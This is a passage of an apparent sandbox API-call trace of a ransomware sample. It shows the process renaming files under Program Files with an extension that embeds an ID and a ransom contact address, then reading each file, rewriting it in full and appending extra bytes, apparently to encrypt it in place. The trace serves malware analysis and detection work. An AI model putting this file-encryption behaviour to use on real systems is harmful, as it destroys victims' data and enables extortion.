cFileName="UniversalNotificationPlatform.004.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNE06B~1.FIR")) returned 0x6d53c0 [0235.668] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.668] Sleep (dwMilliseconds=0x1) [0235.671] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-black.png", len=0x71 | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-black.png") returned 1 [0235.671] GetProcessHeap () returned 0x630000 [0235.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ff0) returned 0x6fe3bb0 [0235.671] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\list.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.677] Sleep (dwMilliseconds=0x1) [0235.721] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-140.png", len=0x66 | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-140.png") returned 1 [0235.721] GetProcessHeap () returned 0x630000 [0235.721] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fcc) returned 0x6fe3bb0 [0235.721] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-140.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\mute.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.735] Sleep (dwMilliseconds=0x1) [0235.860] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x60fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml") returned 1 [0235.860] GetProcessHeap () returned 0x630000 [0235.860] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fac) returned 0x6fe3bb0 [0235.860] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.861] CloseHandle (hObject=0x430) returned 1 [0235.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.861] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0235.862] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.862] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.862] GetProcessHeap () returned 0x630000 [0235.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0235.862] GetProcessHeap () returned 0x630000 [0235.862] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.862] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.863] ReadFile (in: hFile=0x430, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x60fff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.865] GetProcessHeap () returned 0x630000 [0235.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0235.865] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] WriteFile (in: hFile=0x430, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x60fff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.865] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] WriteFile (in: hFile=0x430, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.865] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.866] CloseHandle (hObject=0x430) returned 1 [0235.866] GetProcessHeap () returned 0x630000 [0235.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.866] GetProcessHeap () returned 0x630000 [0235.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0235.866] GetProcessHeap () returned 0x630000 [0235.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0235.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5288d3fc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x60ffd20, dwReserved1=0x6f41b8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0235.866] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.866] Sleep (dwMilliseconds=0x1) [0235.920] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html", len=0x6f | out: pbstr=0x60fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html") returned 1 [0235.920] GetProcessHeap () returned 0x630000 [0235.920] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f7c) returned 0x6fe3bb0 [0235.920] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0235.921] CloseHandle (hObject=0x678) returned 1 [0235.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.921] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0235.922] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0235.922] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0235.922] GetProcessHeap () returned 0x630000 [0235.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x74b3f60 [0235.922] GetProcessHeap () returned 0x630000 [0235.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x74be030 [0235.922] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.922] ReadFile (in: hFile=0x678, lpBuffer=0x74b3f60, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b3f60*, lpNumberOfBytesRead=0x60fff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0243.376] GetProcessHeap () returned 0x630000 [0243.376] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745aaf0 [0243.376] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.376] WriteFile (in: hFile=0x678, lpBuffer=0x74be030*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74be030*, lpNumberOfBytesWritten=0x60fff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0243.377] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.377] WriteFile (in: hFile=0x678, lpBuffer=0x74c80cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c80cf*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.377] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.377] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.377] CloseHandle (hObject=0x678) returned 1 [0243.377] GetProcessHeap () returned 0x630000 [0243.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74be030 | out: hHeap=0x630000) returned 1 [0243.401] GetProcessHeap () returned 0x630000 [0243.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b3f60 | out: hHeap=0x630000) returned 1 [0243.402] GetProcessHeap () returned 0x630000 [0243.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745aaf0 | out: hHeap=0x630000) returned 1 [0243.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57021d1c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0x9207496, dwReserved1=0x74b3f58, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0243.402] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0243.402] Sleep (dwMilliseconds=0x1) [0244.259] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-32.png", len=0x7d | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-32.png") returned 1 [0244.259] GetProcessHeap () returned 0x630000 [0244.259] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f4c) returned 0x6fe3bb0 [0244.259] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.259] Sleep (dwMilliseconds=0x1) [0245.980] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM", len=0x6b | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM") returned 1 [0245.980] GetProcessHeap () returned 0x630000 [0245.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0245.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0245.981] CloseHandle (hObject=0x6dc) returned 1 [0245.981] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbhw6.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBHW6C~1.FIR")) returned 0x6d5540 [0245.982] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0245.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbhw6.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0245.982] GetProcessHeap () returned 0x630000 [0245.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0245.982] GetProcessHeap () returned 0x630000 [0245.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0245.982] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.983] ReadFile (in: hFile=0x6dc, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.630] GetProcessHeap () returned 0x630000 [0253.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0253.631] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.631] WriteFile (in: hFile=0x6dc, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.631] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.631] WriteFile (in: hFile=0x6dc, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.631] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.631] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.631] CloseHandle (hObject=0x6dc) returned 1 [0253.631] GetProcessHeap () returned 0x630000 [0253.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0253.636] GetProcessHeap () returned 0x630000 [0253.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0253.637] GetProcessHeap () returned 0x630000 [0253.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0254.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d20aa93, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe2ce, dwReserved0=0x9207496, dwReserved1=0x72de940, cFileName="VBHW6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBHW6C~1.FIR")) returned 0x6d5540 [0254.425] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0254.425] Sleep (dwMilliseconds=0x1) [0254.435] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-100.png", len=0x8a | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-100.png") returned 1 [0254.435] GetProcessHeap () returned 0x630000 [0254.435] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, 